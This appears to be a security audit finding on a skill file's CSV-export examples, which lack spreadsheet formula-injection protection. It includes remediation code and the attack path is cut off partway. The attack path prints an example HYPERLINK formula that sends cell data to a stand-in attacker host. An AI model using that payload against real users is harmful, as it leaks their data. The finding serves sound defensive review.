T09 · Insecure Skill Coding Practices
- Location
SKILL.md:147- Finding
Spreadsheet Formula Injection in Generated CSV Files
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 147–151
Vulnerability Type: Spreadsheet formula injection caused by unsanitized CSV output
Risk Level: MediumVulnerable Code
python with open('output.csv', mode='w', encoding='utf-8', newline='') as csvfile: # Create CSV writer writer = csv.writer(csvfile) # Write data writer.writerows(data)A second output example at lines 332–338 has the same underlying issue:
python with open('output.csv', mode='w', newline='') as csvfile: fieldnames = ['Column1', 'Column2', 'Column3'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writeheader() for row in data: writer.writerow(row)Technical Analysis
The examples write field values directly to CSV without applying spreadsheet-specific formula neutralization. Python's
csvmodule correctly escapes CSV syntax, but RFC 4180 quoting does not prevent spreadsheet applications from interpreting cells as formulas.If an attacker controls a field beginning with a formula indicator such as
=,+,-, or@, the value may be evaluated when the resulting file is opened in Excel or another compatible spreadsheet application. Tab and carriage-return prefixes may also bypass simplistic validation in some spreadsheet import paths.This contradicts the document's claim at lines 48 and 296 that Excel formula injection is handled. No implementation of that protection appears in either demonstrated write path.
Attack Path
-
An attacker supplies data that will be included in generated CSV output.
-
A controlled field contains a spreadsheet formula, for example:
text =HYPERLINK("https://attacker.example/?data="&A1,"Open") -
The skill passes that value unchanged to
writer.writerows()orwriter.writerow(). -
Python produces syntactically valid CSV, but the dangerous formula remains intact. 5 ...[truncated 1230 chars]
-
- Remediation
View remediation
Remediation Suggestions
-
Apply spreadsheet-specific validation to every untrusted string field before writing it. At minimum, detect values whose first effective character is
=,+,-,@, tab, or carriage return. -
Neutralize dangerous values according to the target spreadsheet application's documented import behavior. A common approach is to prefix the value with an apostrophe, although the exact policy should be verified for all supported applications.
-
Do not rely on CSV quoting as a security control; quoting protects CSV structure, not spreadsheet formula interpretation.
-
Make protection configurable when strict data fidelity is required, and clearly warn callers when raw mode is selected.
-
Add tests for every dangerous prefix, leading whitespace or control-character bypasses, quoted formulas, Unicode edge cases, and both
csv.writerandcsv.DictWriter. -
Update the examples so all output paths use a shared sanitization function, such as:
python DANGEROUS_PREFIXES = ("=", "+", "-", "@", "\t", "\r") def neutralize_spreadsheet_formula(value): if isinstance(value, str) and value.startswith(DANGEROUS_PREFIXES): return "'" + value return value safe_data = [ [neutralize_spreadsheet_formula(value) for value in row] for row in data ] with open("output.csv", mode="w", encoding="utf-8", newline="") as csvfile: writer = csv.writer(csvfile) writer.writerows(safe_data) -
Clarify in the documentation that formula neutralization is distinct from RFC 4180 compliance and must occur before CSV serialization.
-
